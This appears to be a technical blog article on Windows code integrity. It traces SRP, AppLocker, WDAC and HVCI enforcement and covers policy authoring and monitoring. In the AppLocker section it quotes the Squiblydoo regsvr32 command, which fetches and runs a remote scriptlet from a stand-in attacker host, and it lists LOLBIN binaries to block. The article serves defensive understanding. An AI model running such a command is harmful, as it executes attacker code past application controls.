55 min read

WDAC + HVCI: Code Integrity at Every Layer in Windows

How Windows decides which code is allowed to run, end-to-end: WDAC policy schema, HVCI per-VTL SLAT enforcement, the audit-to-enforce loop, and the residual attack surface neither feature can close.

Permalink

1. Signed Code Still Isn't Trusted Code

A red-team operator drops a signed, valid, never-revoked OEM driver onto a freshly-imaged Windows 11 24H2 box with the default WDAC policy enforced and HVCI on. The driver is dbutil_2_3.sys, a real Dell utility tracked as CVE-2021-21551, with an authentic Microsoft-trusted certificate in its embedded signature. The sc.exe create call returns success. The StartService call spins for roughly eight microseconds. Then the driver fails to load with ERROR_DRIVER_BLOCKED, and the Microsoft-Windows-CodeIntegrity/Operational event log lights up with event 3033.

The driver is not malware. It is a perfectly legitimate diagnostic utility that Dell shipped to hundreds of millions of laptops between 2009 and 2021, signed by a certificate that chains to a root in the Microsoft Trusted Root Program. The certificate has not expired. It has not been revoked. The driver itself is intact -- not modified, not repacked, not even slightly truncated. And it cannot run.

BYOVD (Bring Your Own Vulnerable Driver)

A class of attack in which a privileged operator (or an exploited userland process that has reached LocalSystem) loads a driver that is signed and trusted by the operating system, but contains a vulnerability that lets the loader execute arbitrary code in ring 0. The driver is the vehicle; the vulnerability inside the driver is the payload. The Dell dbutil_2_3.sys driver, the MSI Afterburner RTCore64.sys driver, and the Intel Network Adapter iqvw64e.sys driver are the canonical 2020-2024 examples (CVE-2019-16098, CVE-2021-21551).

That eight-microsecond refusal is the entry point of this article. It raises four questions that the next ten sections answer in order. Which Windows component refused the load? What policy language did it consult? How did that policy reach the device? And, most uncomfortably, which classes of attack would still get to the kernel anyway?

This article is the operational sequel to a sibling piece on App Identity. The App Identity article argues what code identity is in Windows -- Authenticode, Kernel Mode Code Signing (KMCS), publisher chains, hash strategies. This article argues what Windows does with that identity at every page-fault. The two pieces compose: identity is the noun; enforcement is the verb. Where App Identity argues what Windows means by "this is the same bag of bytes the publisher signed," this article argues what the OS does with that fact at every PE load. The two reduce, together, to a single sentence that we will earn the right to write by section five: code integrity at every layer is not a slogan; it is a page-fault sequence that runs dozens of times during one driver load.

Ctrl + scroll to zoom
The 8-microsecond refusal: BYOVD against the default Windows 11 24H2 enforcement loop. The driver is signed, the certificate is valid, and CI.dll still says no -- because SkCi.dll in VTL1 has the Driver Block List loaded as a standalone WDAC policy.

But before we can explain how the load was refused, we have to explain why this kind of refusal is a twenty-five-year-old engineering problem. Two earlier Microsoft answers, Software Restriction Policies and AppLocker, were the wrong shape -- and the wrong shape in instructive ways.

2. Historical Origins: The 1990s Free-for-All and the Birth of "Path Is Not Identity"

In 2001, a Windows XP user double-clicked a .vbs attachment and the OS asked nobody before running it. Code Red, Nimda, and MS Blaster had not yet finished teaching Microsoft why that was a bad design, but the theoretical ground was already a decade and a half old. Fred Cohen had proved, in his 1984 paper Computer Viruses -- Theory and Experiments, that general malware detection is undecidable -- without detection, containment is, in general, impossible. The verbatim form of that result is reserved for §8 below, where the theoretical-limits argument turns on it. If detection was off the table as a general primitive, the only remaining engineering option was the opposite of detection: an explicit allowlist.

Authenticode existed since Internet Explorer 3 in 1996, but it was advisory -- a "Security Warning" dialog the user could click past. The first OS-level enforcement primitive arrived with Windows XP and Server 2003 in the form of Software Restriction Policies (SRP). SRP was the first time the kernel was asked to refuse a load on the strength of an administrator-set rule, not a user click.

Software Restriction Policies (SRP)

The original Windows app-control primitive, introduced with Windows XP and Server 2003. SRP supports four rule classes (path, hash, certificate, zone) and a fixed-precedence walk inside the Safer API call SaferIdentifyLevel. Deployment is Group Policy only; storage post-download is the registry. SRP was deprecated in Windows 10 build 1803, with Microsoft's documentation explicitly redirecting to AppLocker or WDAC.

Authenticode

Microsoft's PE-image signing scheme, introduced with Internet Explorer 3 in 1996. An Authenticode signature attaches a CMS PKCS#7 envelope to a PE binary, binding the file's digest to a publisher certificate that chains to a Microsoft-trusted root. The same signature surface is reused by Kernel Mode Code Signing, Smart App Control, and the WDAC Signers element discussed later in this article.

SRP shipped four ways to identify a binary, but the architectural lesson it forced into the open was about the first of those four. Path rules looked elegant on paper -- "trust everything in C:\Program Files" -- and lethal in practice, because a path is not a property of a binary. A path is the coordinates of a place a bag of bytes happens to sit, and any attacker who can write to that place inherits the trust attached to it. World-writable directories under %TEMP%, %APPDATA%, and various inherited-permission folders under C:\Program Files itself meant that path rules were structurally a lie. Hash rules were correct but brittle; certificate rules were correct but coarse; zone rules were correct but circumventable through a download into a trusted zone.

Path is not identity. A path is a place a bag of bytes happens to sit; an attacker who can write to that place inherits the trust. This sentence will recur three times in this article -- at SRP, at AppLocker, and at WDAC's path-rule writeability check -- because every generation of Windows app-control re-learned it at a new layer.

Ctrl + scroll to zoom
Twenty-five years of Windows app-control evolution. Each generation closes a class of attack the previous generation could not block; each closure surfaces a new class on the layer above.

The first inflection point came when the mass-mailer worms of 2001-2004 made it operationally embarrassing for Microsoft to keep shipping an OS in which "double-click runs anything." Microsoft's Trustworthy Computing memo dates to January 2002 -- Bill Gates' company-wide email pivoting Windows engineering toward security as a first-class deliverable. SRP was its first concrete app-control answer. Microsoft's own Windows Server 2003 SRP technical reference describes the architecture: when a user double-clicks an executable, the enforcement API SaferIdentifyLevel is called to determine the rule details that apply. The same page enumerates the Safer API, the Group Policy Editor extension, the WinVerifyTrust integration with Authenticode, the Event Viewer logging, and Active Directory + Group Policy as the propagation substrate.

SRP showed the shape of the answer -- admin-set policy, OS-enforced, applied before launch -- but it failed on three properties the next generation would try to close. It failed on granularity because path was its primary identity. It failed on audience because it had no per-user or per-group scoping. And it failed on surface because script hosts (wscript.exe, cscript.exe) had to opt in to consult its rules. AppLocker arrived in Windows 7 to fix all three. And it discovered that even closing all three is not enough.

3. Early Approaches: AppLocker, Squiblydoo, and the Engineering of "Publisher Is Not Enough"

April 19, 2016. Casey Smith publishes a four-line command on his subt0x10 blog: regsvr32 /s /n /u /i:http[:]//attacker/x.sct scrobj.dll. The command bypasses an AppLocker-locked-down workstation with executable and script rules enforced, and -- because every default Microsoft AppLocker policy allows binaries published by O=Microsoft Corporation -- the same trick works against the canonical default rules out of the box. It leaves no registry artefact, requires no admin rights, runs the attacker's code under the user's token, and -- this is the part that hurts -- cannot be patched. Because the binary it abuses is signed by Microsoft, it is on every default allowlist. The technique gets the nickname Squiblydoo, gets MITRE ATT&CK ID T1218.010, gets used in campaigns targeting governments, and gets the LOLBAS project named partly in its honour.

To understand why Smith's command was a class of failure rather than a specific bug, look at AppLocker's design. AppLocker shipped in Windows 7 and Server 2008 R2 in July 2009 with five rule collections (Executable, Windows Installer, Script, DLL, Packaged App) crossed against three rule types (Path, File hash, Publisher). Per-user and per-group scoping was the explicit win over SRP, and enforcement moved out of the Safer API into a dedicated Application Identity service (appidsvc) plus the appid.sys filter driver, so script hosts no longer needed to opt in to consult policy. AppLocker was, on paper, every fix SRP needed.

AppLocker

The Windows 7 / Server 2008 R2 successor to SRP, with five rule collections (Executable, Windows Installer, Script, DLL, Packaged App) crossed against three rule types (Path, File hash, Publisher). Enforcement is via the appidsvc service plus the appid.sys filter driver. Microsoft documents AppLocker today as "a defense-in-depth security feature and not considered a defensible Windows security feature" -- meaning the Microsoft Security Response Center will not service AppLocker bypasses as security vulnerabilities.

LOLBIN (Living Off the Land Binary)

A signed, trusted binary that ships with the operating system and exposes functionality an attacker can repurpose for malicious execution -- without dropping any new file to disk, without triggering signature-based detection, and (in the AppLocker era) without violating any publisher-rule allowlist. The MITRE ATT&CK technique T1218 ("System Binary Proxy Execution") catalogues the parent class. Microsoft's own bypass catalogue lists about forty Windows binaries that fall into this class.

The Squiblydoo bypass is mechanical once you see it. AppLocker's publisher rule for O=Microsoft Corporation says yes to regsvr32.exe. The argument-parsing code inside regsvr32.exe is policy-blind -- it does not consult AppLocker before deciding to follow the /i:URL flag. The remote scriptlet is fetched, parsed, and the JScript inside it is executed in-process. AppLocker has logged a successful launch of a Microsoft-signed binary and seen nothing worth blocking. The malicious code now runs with the launching user's token, with no on-disk artefact, with no registry footprint, with no need to escalate.

Ctrl + scroll to zoom
Squiblydoo in detail. The publisher rule says 'yes' because the binary is signed by Microsoft; the argument parser is blind to the policy; the in-process JScript inherits the entire trust verdict.

The bypass-research record is the size of a small university faculty. Microsoft's own bypass catalogue thanks fifteen researchers by name in its acknowledgements footer (Casey Smith, Matt Graeber, James Forshaw, Oddvar Moe, Matt Nelson, Will Dormann, Lasse Trolle Borup, Lee Christensen, Jimmy Bayne, Vladas Bulavas, William Easton, Brock Mammen, Kim Oppalfens, Philip Tsukerman, and Alex Ionescu).

The catalogue itself enumerates roughly forty signed Microsoft binaries that should be blocked unless explicitly required: addinprocess.exe, bash.exe, cdb.exe, cscript.exe, csi.exe, dnx.exe, dotnet.exe, fsi.exe, infdefaultinstall.exe, kd.exe, kill.exe, lxrun.exe, Microsoft.Workflow.Compiler.exe, msbuild.exe, mshta.exe, ntkd.exe, ntsd.exe, powershellcustomhost.exe, rcsi.exe, runscripthelper.exe, system.management.automation.dll, texttransform.exe, visualuiaverifynative.exe, wfc.exe, windbg.exe, wmic.exe, wscript.exe, and wsl.exe are all explicitly listed. The MITRE ATT&CK record for T1218.010 (Regsvr32) credits Smith for the technique and dates its documented in-the-wild use to multiple "campaigns targeting governments." The "Squiblydoo" nickname itself is widely attributed to Carbon Black's April 2016 threat advisory, which MITRE cites as reference [3]. The LOLBAS project entry for Regsvr32 preserves the verbatim AWL bypass syntax that Smith published.

PropertySRP (2001)AppLocker (2009)
Identity primitivePath / Hash / Cert / ZonePath / Hash / Publisher
Per-user scopingNoYes
Enforcement engineSafer API (SaferIdentifyLevel)appidsvc + appid.sys filter driver
Script-host coverageOpt-in per hostCentrally enforced
Canonical bypass classPath-rule writeable directoriesSquiblydoo / publisher-blind LOLBINs
MSRC servicingDeprecated 2018Defense-in-depth only (not serviced)

Microsoft's own architectural surrender is in the AppLocker overview itself, in a sentence the company has now repeated for a decade -- captured verbatim in the PullQuote below. The Microsoft Security Response Center, in other words, will not treat an AppLocker bypass as a vulnerability. AppLocker remains supported, remains documented, and remains deployed in millions of enterprises -- but Microsoft has moved its security-boundary commitment to a different feature.

"AppLocker is a defense-in-depth security feature and not considered a defensible Windows security feature." -- Microsoft Learn, AppLocker overview, 2026.

4. The Evolution: Two Parallel Rails Converging on the Runtime Loop

From July 2015, Microsoft's answer evolved on two parallel rails inside Windows 10. One rail -- the configurable Code Integrity policy that would later be renamed WDAC -- replaced AppLocker's policy language with an XML schema and put the enforcement check inside the kernel. The other rail -- HVCI -- put the kernel CI check itself underneath the kernel, in a hypervisor-rooted Virtual Trust Level the attacker cannot reach. The rails converged in 2019 with multi-policy WDAC, and again in September 2022 when the Driver Block List started shipping on by default.

4a. The WDAC Rail

Configurable Code Integrity (CCI) under Device Guard shipped in Windows 10 1507 in July 2015. For the first time, Microsoft's app-control engine consumed an XML policy: a schema with Signers, FileRules, SigningScenarios, and the rule-option toggles that a 2026 administrator still recognises today. The engine binary was CI.dll, and CI.dll is still the engine binary today. CCI was, from day one, serviced under MSRC criteria -- the load-bearing operational distinction from AppLocker, because Microsoft now treats a bypass of CCI as a security vulnerability.

The 2017 rebranding decoupled the engine from the marketing. In October 2017 Microsoft published a blog post that admitted, in a sentence that has since become a Microsoft Learn citation, that "we estimate that only about 20% of our customers are using any type of application control technology." The same post announced the rename from "configurable CI" to Windows Defender Application Control, and explained that the original Device Guard story had "unintentionally left an impression for many customers that the two features were inexorably linked and could not be deployed separately."

The post also disclosed that "in the Windows 10 Creators Update (1703) released last spring we introduced an option to WDAC called managed installer." Managed Installer is therefore a 1703 feature (April 2017), not a 1709 feature. This date precision matters. Earlier informal histories pin both ISG and Managed Installer to 1709; the verbatim primary makes Managed Installer a 1703 feature and ISG (rule option 14) a 1709 feature.

WDAC (Windows Defender Application Control / App Control for Business / configurable code integrity)

A WDAC policy is an XML document conforming to the SiPolicy schema, evaluated by CI.dll at every PE load. The same feature has had four names over a decade: configurable code integrity (2015), Windows Defender Device Guard (2015-2017), Windows Defender Application Control (2017), and App Control for Business (the 2024 rename). The binary, the schema, and the runtime loop are unchanged across the renames.

SiPolicy XML

The XML schema that backs every WDAC policy. The eight load-bearing elements are Rules (policy options), Signers (signer identities), FileRules (the Hash, FilePath, FileName, FilePublisher, certificate-attribute family), SigningScenarios (which split kernel-mode from user-mode coverage), HvciOptions (the in-policy HVCI toggle), UpdatePolicySigners (who can replace the policy), SupplementalPolicySigners (who can add to it), and CiSigners (the trusted signer set in the user-mode scenario).

Intelligent Security Graph (ISG)

The reputation cloud Microsoft uses for SmartScreen and Defender Antivirus. Enabling rule option 14 tells WDAC to consult ISG for "known good," "known bad," or "unknown" verdicts at runtime. ISG is not a list; it is a model. Microsoft documents the obvious contraindication: ISG "isn't recommended for devices that don't have regular access to the internet."

The architectural inflection arrived in Windows 10 1903 (May 2019) with multi-policy WDAC. Up to thirty-two active policies could now coexist on a single machine, with base-policy and supplemental-policy composition rules: two base policies intersect (a binary must be allowed by both to run), while a base and a supplemental union (allowed by either is enough). The architectural payoff is operational. The Driver Block List can now ship as a standalone WDAC policy and stack alongside an organisation's existing allowlist, without a merge-and-resign ceremony every quarter. The thirty-two-policy ceiling has since moved. The Microsoft Learn page on multi-policy deployment documents that the cap is removed on devices that have applied the April 9, 2024 cumulative update -- with one carve-out for Windows 11 21H2, where the limit remains thirty-two indefinitely.

The 2024 rename to App Control for Business changed the URL path on Microsoft Learn and not much else. The binary is still CI.dll; the schema is still SiPolicy; the rule options are still numbered the same way. Throughout the rest of this article we will use "WDAC" for prose searchability, with the understanding that "App Control for Business," "configurable code integrity," and "Device Guard kernel CI" all refer to the same engine.

Ctrl + scroll to zoom
The eight load-bearing elements of a SiPolicy XML. Signers and FileRules are the two halves of identity; SigningScenarios splits kernel-mode (KMCI) from user-mode (UMCI); HvciOptions toggles HVCI from inside the policy itself.

4b. The HVCI Rail

In August 2006, Joanna Rutkowska stood up at Black Hat USA and demonstrated Blue Pill, a rootkit based on AMD-V hardware virtualization that loaded itself underneath the running operating system. The point was not the rootkit. The point was a threat-model anchor: if attackers can own the hypervisor, no kernel-mode mitigation can trust the kernel below it. The architectural answer Microsoft would eventually deploy is simple to state and hard to build: own the hypervisor first. Rutkowska's Black Hat USA 2006 presentation demonstrated Blue Pill against Windows Vista; the deck was 52 pages, the rootkit was an AMD Pacifica (AMD-V) demonstration, and the talk was given on August 3, 2006. Alex Ionescu would invert the same architecture nine years later for HVCI -- the hypervisor is now the defender's substrate.

Device Guard kernel-mode CI / HVCI shipped in Windows 10 1507 in July 2015 on a hardware-rooted hypervisor that Microsoft built specifically to host this kind of trust check. The architecture is clean. SkCi.dll runs inside Virtual Trust Level 1, the higher-privileged of the two VTLs the hypervisor exposes. The NT kernel runs in VTL0. When the NT kernel needs to validate a driver image, it asks VTL1 -- and only after VTL1 says yes does the hypervisor flip the SLAT entries for the driver's code pages from W to X.

VTL0 / VTL1 (Virtual Trust Levels)

The hypervisor-enforced privilege separation that Microsoft introduced with Virtualization-Based Security in Windows 10. VTL0 hosts the normal NT kernel and userland; VTL1 hosts the Secure Kernel and a tiny set of "trustlets" -- LSAISO for Credential Guard, the per-VTL CI engine SkCi.dll, the virtual TPM. A SYSTEM-level attacker in VTL0 cannot read or write VTL1 memory; the hypervisor enforces the separation through SLAT permissions. Alex Ionescu's Battle of SKM and IUM is the canonical 2015 primary on the architecture.

HVCI / Memory Integrity

Microsoft Learn documents the feature under three names that all refer to the same code path: memory integrity (the consumer-facing label in Windows Security), hypervisor-protected code integrity (the technical name), and hypervisor enforced code integrity (the alternate technical name). The page reads, verbatim: "Memory integrity is sometimes referred to as hypervisor-protected code integrity (HVCI) or hypervisor enforced code integrity, and was originally released as part of Device Guard."

W$\oplus$X invariant

A page is either writable or executable, but never both. HVCI enforces W\oplusX for kernel pages by holding the page write-permission and execute-permission bits in SLAT entries that VTL0 cannot edit. VTL1's SkCi.dll decides whether a page is executable; the hypervisor decides whether VTL0 can ever ask the question. The invariant exists to deny one specific class of attack -- writing a new payload into a kernel page and then executing it -- but it does not stop attacks that compose only of existing executable bytes (return-oriented and jump-oriented programming).

The next four versions of Windows 10 added one capability each. Windows 10 1607 (August 2016) renamed the feature to HVCI, severed the marketing tie to Device Guard, and added a Windows Security app toggle. Windows 10 1803 (April 2018) added Mode-Based Execution Control reporting on Intel Kabylake-and-later silicon; AMD's Zen 2 added the equivalent Guest Mode Execute Trap. Older silicon falls back to Restricted User Mode emulation, which the same Microsoft Learn page warns "will have a bigger impact on performance."

Windows 10 2004 (May 2020) added Kernel Data Protection (KDP), the second floor of the W\oplusX discipline -- once code is unforgeable, attackers shift to data corruption, so KDP makes selected kernel data ranges unforgeable too. Windows 11 22H2 (September 2022) made HVCI on by default for most new Windows 11 devices, and shipped the Vulnerable Driver Block List on by default alongside it.

Ctrl + scroll to zoom
The per-VTL SLAT permission state machine. SkCi.dll inside VTL1 holds the write key; the hypervisor transitions a page from W to X only after SkCi.dll validates the image. A SYSTEM-level kernel attacker in VTL0 can request the transition, but cannot perform it.

By 2022 the two rails had converged at the operational level. The Driver Block List shipped as a standalone WDAC policy that HVCI's SkCi.dll enforced in VTL1 on every kernel-mode driver load. Now we can finally answer the question that opened this article: which Windows component refused the BYOVD load? The honest answer is both rails working together at the page-fault. That sequence is the next section.

5. The Breakthrough: The Runtime Enforcement Loop, End-to-End

Open Process Monitor, watch a kernel driver load, and the human-readable output is IRP_MJ_CREATE returns success. Open WinDbg against a kernel-mode debugger session, set a breakpoint on SeCodeIntegrityVerifySection, watch the same load, and roughly forty distinct trust decisions happen between NtCreateSection and the moment the driver's DriverEntry is allowed to execute. The forty-decision shape is folk knowledge from the kernel-debugger community; the architecture that produces it is documented. Here is the seven-step walk that wraps it.

The first step is NtCreateSection. The kernel parses the PE image, locates the Authenticode signature in the directory entry of the optional header, and resolves the signature's PKCS#7 envelope. Step two: SeCodeIntegrityVerifySection calls into CI.dll under \Windows\System32\. CI.dll builds a SignerHash structure for the PE -- the bound publisher identity, the leaf certificate hash, the cryptographic page-hash table -- and then opens the policy state under C:\Windows\System32\CodeIntegrity\CIPolicies\Active\. The exact function names here -- SeCodeIntegrityVerifySection, CipMincryptValidateImageHeader -- are kernel-debugger artefacts; the Microsoft Learn page on memory integrity confirms only the higher-level "kernel mode code integrity process" terminology. We name the functions because the debugger view is the only way to see the loop in motion; treat them as kernel-debugger paraphrase, not as Microsoft Learn quotes.

Step three is the policy state machine. The walk has a fixed precedence. Explicit deny rules win first -- this is where the Driver Block List entry for dbutil_2_3.sys terminates the load. Explicit allow rules are next, then signer-level rules, then Intelligent Security Graph cloud verdicts (when rule option 14 is enabled), and finally the Mark-of-the-Web disposition for the file. For a kernel-mode driver, step four forwards the verdict into VTL1 via a secure call -- the hypervisor-mediated cross-VTL invocation primitive that Microsoft introduced for VBS.

In step five, SkCi.dll inside VTL1 revalidates the Authenticode signature against its own trusted-root set, consults the per-VTL SLAT page-table state for the proposed image pages, checks the policy's HvciOptions element, and only then permits the hypervisor to flip the relevant SLAT entries from W to X.

Step six returns control to the loader; the driver's image is now executable in VTL0 and its pages are read-only from VTL0's perspective for the lifetime of the load. Step seven is the safety net: any later attempt to write to those pages from VTL0 -- a kernel exploit, a malicious driver, an attacker with a kernel debugger attached -- page-faults at the SLAT layer, intercepted by the hypervisor (hvix64.exe on Intel, hvax64.exe on AMD), not by the kernel that the attacker may already control.

Code integrity at every layer is not a slogan. It is a page-fault sequence that runs dozens of times during one driver load. Step five is the architectural inversion: VTL1 holds the validation key, VTL0 cannot reach VTL1, and the hypervisor enforces the separation in silicon-mediated SLAT entries.

Ctrl + scroll to zoom
The runtime enforcement loop, end to end. CI.dll in VTL0 builds the verdict; SkCi.dll in VTL1 ratifies it; the hypervisor flips SLAT entries from W to X if and only if both rails agree.

The seven-step walk maps cleanly onto a small reference table that any administrator should have on a sticky note. The event IDs in the right column are the Microsoft-Windows-CodeIntegrity/Operational channel entries that show up in Event Viewer under each verdict.

StepComponentFile pathEvent on failure
1NT loader\Windows\System32\ntoskrnl.exe(kernel STATUS code)
2CI engine\Windows\System32\CI.dll3023 (audit) / 3024 (enforce)
3Policy state\Windows\System32\CodeIntegrity\CIPolicies\Active\*.cip3076 (UMCI) / 3077 (UMCI enforce)
4Secure call\Windows\System32\securekernel.exe(cross-VTL trace)
5Secure CIVTL1-resident SkCi.dll3033 (driver block) / 3034 (driver audit)
6Hypervisor SLAT flip\Windows\System32\hvix64.exe / hvax64.exe(hypervisor trace)
7Page-fault safety netHypervisorSLAT violation crash
SLAT (Second-Level Address Translation)

The hardware feature -- Intel Extended Page Tables, AMD Rapid Virtualization Indexing -- that the hypervisor uses to translate guest physical addresses to host physical addresses one level deeper than the OS's own page tables. Because SLAT entries are under the OS's view, a kernel attacker in VTL0 can change the OS's page tables but cannot reach the SLAT entries the hypervisor maintains. HVCI uses SLAT permission bits to hold the W\oplusX invariant for kernel pages; KDP uses them to hold read-only memory for kernel data sections.

CodeIntegrity-Operational event channel

The Event Viewer channel under Microsoft-Windows-CodeIntegrity/Operational that records every WDAC + HVCI verdict. Six event IDs carry the operational load: 3023 (kernel-mode audit), 3024 (kernel-mode enforced block), 3033 (driver block by Block List), 3034 (driver audit), 3076 (user-mode audit), and 3077 (user-mode enforced block). All six are JSON-shaped after Windows 11 22H2 and parse cleanly into Defender for Endpoint advanced hunting. The cited Microsoft Learn page enumerates 3033, 3034, 3076, and 3077 verbatim, and adjacent IDs 3004 (kernel driver invalid signature), 3089 (signature info correlation), and 3095-3105 (policy activation/refresh). 3023 and 3024 are kernel-debugger-observable IDs in the same Microsoft-Windows-CodeIntegrity/Operational channel and surface in Get-WinEvent queries against that channel; treat the 3023/3024 row as kernel-debugger paraphrase rather than as Microsoft Learn enumeration.

The third visual for this section is the Win32_DeviceGuard decoder a 2026 administrator runs to confirm the loop is actually live on a representative endpoint. The WMI surface decodes a small set of magic numbers that map to silicon and hypervisor capabilities.

JavaScript Decode the Win32_DeviceGuard WMI surface
// Demonstrates the logic of:
//   Get-CimInstance -ClassName Win32_DeviceGuard
//     -Namespace root\Microsoft\Windows\DeviceGuard
//
// AvailableSecurityProperties returns an array of small integers.
// Decode them against the Microsoft Learn-documented mapping.
const SECURITY_PROPS = {
1: 'Hypervisor support (VBS-capable CPU)',
2: 'Secure Boot is available',
3: 'DMA protection is available',
4: 'Secure Memory Overwrite is available',
5: 'NX protections are available',
6: 'SMM mitigations are available',
7: 'MBEC/GMET is available (Intel Kabylake+ / AMD Zen 2+)',
8: 'APIC virtualization is available',
};

// Pretend we just received this from a remote endpoint:
const sample = {
AvailableSecurityProperties: [1, 2, 3, 5, 7],
VirtualizationBasedSecurityStatus: 2, // 2 = running
SecurityServicesRunning: [2],         // 2 = HVCI active
};

console.log('VBS status:',
sample.VirtualizationBasedSecurityStatus === 2 ? 'RUNNING' : 'OFF');
console.log('HVCI:',
sample.SecurityServicesRunning.includes(2) ? 'ACTIVE' : 'INACTIVE');
console.log('Capabilities:');
for (const id of sample.AvailableSecurityProperties) {
console.log('  -', SECURITY_PROPS[id] || ('unknown:' + id));
}

Press Run to execute.

We now have an answer to the question that opened section one. When dbutil_2_3.sys loaded against a default Windows 11 24H2 box with HVCI on, step five happened. SkCi.dll consulted the Vulnerable Driver Block List inside its own active policy state, matched the file hash against the published deny entry for CVE-2021-21551, refused the SLAT promotion, and the load failed with event 3033. Eight microseconds. The same loop runs on every driver load on every HVCI-enabled Windows 11 device on the planet. Now we have to operate it.

6. State of the Art: Authoring, Signing, Deploying, Monitoring

Knowing how the loop works is necessary; running it is the actual job. A 2026 Windows estate that wants the eight-microsecond refusal to fire on its own endpoints needs five operational disciplines, in this order: authoring, audit-mode discovery, signing, deployment, and monitoring.

6.1 Authoring

Authoring starts from one of the example base policies Microsoft ships under %OSDrive%\Windows\schemas\CodeIntegrity\ExamplePolicies\. The directory contains DefaultWindows_Audit.xml (a sane starting allowlist that runs in audit mode), AllowMicrosoft.xml, AllowAll.xml, AllowAll_EnableHVCI.xml, DenyAllAudit.xml, and the canonical SmartAppControl.xml / SignedReputable.xml consumer-grade template. There is also RecommendedDriverBlock_Enforced.xml -- the on-disk form of the Vulnerable Driver Block List -- and the S-mode templates WinSiPolicy.xml and WinSEPolicy.xml.

The PowerShell call that mints a new base policy is New-CIPolicy -Level FilePublisher -Fallback SignedVersion,FilePublisher,Hash -UserPEs -MultiplePolicyFormat. The -Level flag picks one of the eight rule-level identities -- Hash, FilePath, FileName, FilePublisher, LeafCertificate, PcaCertificate, RootCertificate, and the WHQL family -- in increasing order of brittleness-to-strictness tradeoff. FilePublisher is the modern default for most enterprise scenarios because it scopes trust to a publisher tuple plus a product name plus a binary name plus a minimum version, rather than an unbounded "anything from this signer" allowance.

Managed Installer

A WDAC rule option (rule option 13, first shipped in Windows 10 1703 in April 2017) that delegates trust to a configured set of installer processes -- typically Configuration Manager or Intune. Files dropped by a Managed Installer inherit a "trusted" attribute and are allowed to run without an explicit allowlist entry. Managed Installer is the canonical answer to "how do you deploy software to a fleet that runs an enforced WDAC policy."

6.2 Audit-mode discovery

Audit mode is the architectural prerequisite for not bricking your fleet. Microsoft Learn is unambiguous: "We recommend that you use Enabled:Audit Mode initially because it allows you to test new App Control policies before you enforce them. With audit mode, applications run normally but App Control logs events whenever a file runs that isn't allowed by the policy." Set-RuleOption -Option 3 on the policy XML enables audit mode; Set-RuleOption -Option 3 -Delete removes it and switches the policy into enforce mode. In between, the SOC harvests Microsoft-Windows-CodeIntegrity/Operational event 3076 entries with Get-WinEvent, and New-CIPolicy -Audit mints a discovery policy from the observed blocks that you can merge into the base.

6.3 Signing

A signed WDAC policy is an order of magnitude harder to disable than an unsigned one. The signing ceremony has a fixed shape: Add-SignerRule -Update to add the signer that may replace the policy in future, Set-RuleOption -Option 6 -Delete to drop "Enabled:Unsigned System Integrity Policy" so the policy refuses to load unless signed, ConvertFrom-CIPolicy to produce the binary .cip, and signtool.exe with an RSA-2048-or-larger certificate to attach the signature. Microsoft Learn documents the signed-policy prerequisites: Secure Boot must be on; ECDSA certificates are explicitly unsupported; and the policy's VersionEx must be monotonically increasing across replacements.

6.4 Deployment and stacking

Multiple-policy WDAC is the deployment model since Windows 10 1903. Up to thirty-two active policies sit in C:\Windows\System32\CodeIntegrity\CIPolicies\Active\, or unlimited on devices that have the April 9, 2024 cumulative update. Base-and-supplemental composition (<SupplementalPolicySigner>) lets a divisional supplemental policy union into a corporate base. The <HvciOptions> element toggles HVCI from inside the policy XML itself. The published RecommendedDriverBlock_Enforced.xml policy is designed to stack alongside an organisation's allowlist without merging.

Deployment surfaces today are: the Intune App Control for Business CSP, Configuration Manager's App Control task sequence, and Group Policy. Group Policy supports only the single-policy format on Windows Server 2016 and 2019 -- a structural reason to prefer Intune or ConfigMgr for any fleet that wants modern multi-policy stacking.

Ctrl + scroll to zoom
The audit-to-enforce migration loop. Most production failures are skipped iterations of the middle box: harvest 3076 events, mint a supplemental from observed blocks, redeploy, repeat until the audit volume falls near zero.

6.5 Monitoring

Monitoring rests on two telemetry sources. The first is the Microsoft-Windows-CodeIntegrity/Operational channel on the endpoint, with the six event IDs from section five. The second is Defender for Endpoint advanced hunting, where the DeviceEvents table carries AppControlExecutableAudited, AppControlExecutableBlocked, and AppControlCodeIntegrityDriverRevoked rows. The two stitch together: a single 3033 event on the endpoint maps to a single AppControlCodeIntegrityDriverRevoked row in the SIEM.

The third leg of the monitoring tripod is the Defender Attack Surface Reduction rule with GUID 56a863a9-875e-4185-98a7-b882c64b5ce5 -- Block abuse of exploited vulnerable signed drivers. The ASR rule lives in Defender for Endpoint and fires regardless of whether HVCI is on, which makes it the canonical safety net for endpoints that are HVCI-incapable or that have HVCI temporarily disabled for compatibility.

ASR (Attack Surface Reduction) rule

A Defender for Endpoint rule shipped as part of the Microsoft 365 Defender suite. ASR rules sit one layer above the kernel CI engine and trigger on behavioural conditions -- a vulnerable signed driver loading, an Office macro spawning a child process, a script host writing an executable. The vulnerable-driver ASR rule pairs with the Driver Block List as the EDR-side telemetry partner: HVCI blocks the load, ASR records the attempt, and the SOC gets a complete narrative even when the loader retried multiple times.

Event IDPhaseAudienceMeaning
3023AuditKernel-modeDriver would have been blocked (audit)
3024EnforceKernel-modeDriver blocked
3033EnforceKernel-modeDriver blocked by Block List rule
3034AuditKernel-modeDriver allowed but matched audit
3076AuditUser-modeProcess would have been blocked
3077EnforceUser-modeProcess blocked

The sixth visual for this section is the FilePublisher rule computer -- a JS demo that walks the publisher tuple a New-CIPolicy -Level FilePublisher invocation extracts from a PE binary.

JavaScript Compute a FilePublisher rule identity
// Demonstrates the logic of:
//   New-CIPolicy -Level FilePublisher -Fallback SignedVersion,FilePublisher,Hash
//
// The FilePublisher level scopes trust to: O= + CN= + ProductName + BinaryName
// + minimum Version. Anything from the same publisher with the same product
// and binary names, at or above the version bar, satisfies the rule.
function filePublisherRule(pe) {
return {
  O: pe.signer.organization,
  CN: pe.signer.commonName,
  ProductName: pe.versionInfo.productName,
  BinaryName: pe.versionInfo.originalFilename,
  MinimumVersion: pe.versionInfo.fileVersion,
};
}

const peSample = {
signer: { organization: 'Microsoft Corporation', commonName: 'Microsoft Windows' },
versionInfo: {
  productName: 'Microsoft Windows Operating System',
  originalFilename: 'powershell.exe',
  fileVersion: '10.0.26100.1',
},
};

const rule = filePublisherRule(peSample);
console.log('Generated FilePublisher rule:');
for (const [k, v] of Object.entries(rule)) console.log('  ' + k + ' = ' + v);
console.log('Anything at or above version', rule.MinimumVersion, 'will satisfy this rule.');

Press Run to execute.

